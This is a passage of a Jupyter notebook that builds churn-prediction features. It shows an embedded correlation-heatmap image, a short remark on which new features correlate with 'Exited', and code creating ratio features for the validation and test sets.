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\n" + }, + "metadata": {} + } + ], + "source": [ + "## Linear association of new columns with target variables to judge importance\n", + "sns.heatmap(dc_train[new_cols + ['Exited']].corr(), annot=True)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "59fBCuNDpEw8" + }, + "source": [ + "Out of the new features, ones with slight linear association/correlation are : `bal_per_product` and `tenure_age_ratio` \n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "JGSsscbupEw8" + }, + "outputs": [], + "source": [ + "## Creating new interaction feature terms for validation set\n", + "eps = 1e-6\n", + "\n", + "dc_val['bal_per_product'] = dc_val.Balance/(dc_val.NumOfProducts + eps)\n", + "dc_val['bal_by_est_salary'] = dc_val.Balance/(dc_val.EstimatedSalary + eps)\n", + "dc_val['tenure_age_ratio'] = dc_val.Tenure/(dc_val.Age + eps)\n", + "dc_val['age_surname_mean_churn'] = np.sqrt(dc_val.Age) * dc_val.Surname_enc" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "eylODgbnpEw8" + }, + "outputs": [], + "source": [ + "## Creating new interaction feature terms for test set\n", + "eps = 1e-6\n", + "\n", + "dc_test['bal_per_product'] = 